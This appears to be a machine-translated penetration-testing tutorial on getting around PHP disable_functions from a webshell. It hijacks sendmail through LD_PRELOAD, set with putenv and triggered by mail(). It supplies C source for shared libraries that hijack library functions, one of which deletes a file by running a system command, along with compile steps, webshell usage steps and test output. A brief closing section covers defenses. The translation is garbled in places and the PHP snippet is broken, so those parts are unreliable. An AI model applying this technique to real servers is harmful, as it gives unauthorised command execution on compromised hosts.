Attackers can use the environment variable LD_PRELOAD to bypass phpdisable_function and execute the system command 0x00.
If you encounter a server with better security configurations during penetration testing, when you obtain a php webshell in various ways, you will find that the system commands cannot be executed, this type of server takes preventive measures against the command execution function, so subsequent penetration behavior stops. I want to share with you an idea of bypassing it. I hope you can use it in practical testing.
0x02 bypass ideas
The disable_function set by php in harsh environments is as follows:
- Dl
- Exec
- System
- Passthru
- Popen
- Proc_open
- Pcntl_exec
- Shell_exec
If some functions are missing in the settings you encounter, it would be better to bypass them directly. However, if you are not lucky enough to find that all the functions that can directly execute system commands are disabled, you will be crying. A reverse shell is a luxury. Of course, considering factors such as development and usage, the web environment should not be completely disabled.
I searched through a large amount of information and found that there are several methods to execute system commands in this case, for example, you can use/proc/self/mem to modify got to hijack library function calls and php deserialization to exploit the memory corruption vulnerability. However, these methods are difficult to exploit, you must first understand the knowledge points such as the memory offset address and build the same platform for debugging. In addition, the security configuration strictly limits the user's file permissions and sets open_basedir. you have no chance to read mem and other files, which is difficult to use.
Is there any other way? The putenv and mail functions give us hope that if the system does not fix the bash vulnerability, you can easily bypass the poc: http://www.exploit-db.com/exploits/35146.
The general idea of this poc is to use putenv to set an environment variable containing a user-defined function, which is triggered by the mail function. Why can mail function be triggered? because the mail function has an intersection between php and the system command execution function during execution, it calls the popen function for execution. if the system has a bash vulnerability, this directly triggers the execution of malicious code. However, such vulnerabilities, O & M with better security awareness, are usually patched.
So let's continue to explore its ideas. The php mail function will call the system program/usr/sbin/sendmail by default during execution. if we can hijack the sendmail program, we can use the mail function to trigger this function to achieve our goal. Is there any way to hijack the webshell layer? the environment variable LD_PRELOAD provides us with a simple and practical way.
0x03 LD_PRELOAD hack
In the world of UNIX dynamic link libraries, LD_PRELOAD is an interesting environment variable that can affect the link when the program runs. it allows you to define a dynamic link library that is preferentially loaded before the program runs. If you want to learn more about this knowledge, you can go to the Internet to search for related articles. if you don't want to explain it too much here, you can simply look at a routine to understand the usage principle.
Routine: verifypasswd. c
#!c#include
#include
int main(int argc, char **argv){char passwd[] = "password";if (argc < 2) { printf("usage: %s
/n", argv[0]); return;}if (!strcmp(passwd, argv[1])) { printf("Correct Password!/n"); return;}printf("Invalid Password!/n");}
The program is very simple. two different results are obtained based on whether the input string is equal to "password. The standard C function strcmp function is used for comparison. this is an external call function. let's rewrite a function with the same name:
#!c#include
#include
int strcmp(const char *s1, const char *s2){ printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2); return 0;}
Compile it into a dynamic shared library:
#!shell$ gcc -o verifypasswd.c verifypasswd $ gcc -shared verifypasswd -o hack.so
LD_PRELOAD is used to set that it can be preferentially loaded by other programs that call it:
#!shell$ export LD_PRELOAD="./hack.so"
Run the provided routine:
#!shell$ ./verifypasswd abcd $ Correct Password!
If you enter a string at will, the password will be displayed correctly. This means that the program is preferentially loaded during runtime. This means that if the program calls a standard function of the dynamic link library during the running process, we will have the opportunity to use LD_PRELOAD to set it to give priority to loading our own program to achieve hijacking.
0x04 practical tests
Let's take a look at which database functions are called by the sendmail function, and use the readelf-Ws/usr/sbin/sendmail command to view them, we found that the sendmail function dynamically calls many standard library functions during the running process:
#!shell[[email protected]
Desktop] $ readelf-Ws/usr/sbin/sendmail Symbol table '. dynsym 'ins ins 202 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 notype local default und 1: 0000000000000238 0 section local default 1 2: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 3: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 4: 0000000000000000 0 func global default und pcre_fullinfo 5: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 6: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 7: 0000000000000000 0 func global default und [email protected] _ 2.3 (3) 8: 0000000000000000 0 func global default und [email protected] _ 2.3 (3) 9: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 10: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 11: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 12: 0000000000000000 0 func global default und db_version 13: 0000000000000000 0 object global default und [email protected] _ 2.2.5 (2) 14: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 15: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 16: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 17: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 18: 0000000000000000 0 func global default und [email protected] _ 2.2.5 (2) 19: 0000000000000000 0 func weak default und [email protected] _ 2.2.5 (2) 20: 0000000000000000 0 func global default und [email protected]
_ 2.2.5 (2 )......
Select an appropriate library function from it and then we can test it:
- Compile our own Dynamic Link program.
- Use putenv to set LD_PRELOAD so that our program is called preferentially.
- Use the mail function in webshell to send an email for triggering.
Let's test and delete a new file. Here we select the geteuid () function to transform it. First, create a new file check.txt in the/tmpdirectory.
Compile hack. c:
#!c#include
#include
#include
void payload() { system("rm /tmp/check.txt");} int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload();}
When the geteuid in the shared library is called, load the payload () function and execute the command. This test function is easy to write and can be adjusted and improved in actual applications. On the attacker (note that the compilation platform should be similar to the target platform, at least one cannot be 32-bit or 64-bit), compile it into a dynamic shared library with no location information:
#!shell$ gcc -c -fPIC hack.c -o hack $ gcc -shared hack -o hack.so
Upload it to webshell and write a simple php code:
#! Php
"," ");?>
Open the file in the browser and execute it. then, check whether the new file still exists. if the file cannot be found, the system successfully executes the Delete Command, which means that the bypass is successful, in the test, change the path to the actual path. The local test results are as follows:
#!shell[[email protected]
Desktop] $ touch/tmp/check.txt [[email protected] bin] $. /php mail. php sendmail: warning: the Postfix sendmail command has set-uid root file permissions sendmail: warning: or the command is run from a set-uid root process sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions sendmail: fatal: setgroups (1, & 500): Operation not permitted [[email protected]Bin] $ cat/tmp/check.txt cat:/tmp/check.txt: No such file or directory
Normal user permission. the target file is deleted.
0x05 summaryThe above methods have passed the test on Linux RHEL6 and the built-in mail service + php5.3.X platform, and the test on other platforms has not been conducted with limited energy. The new version may have been repaired accordingly. This bypassing behavior is also very easy to defend against, disabling related functions or limiting the transfer of environmental variables. for example, in safe mode, this transfer will not succeed. This idea is not limited to the mail function. you can try to trace the call process of other functions, for example, does a function that has an intersection with the system layer such as syslog call a dynamic shared library.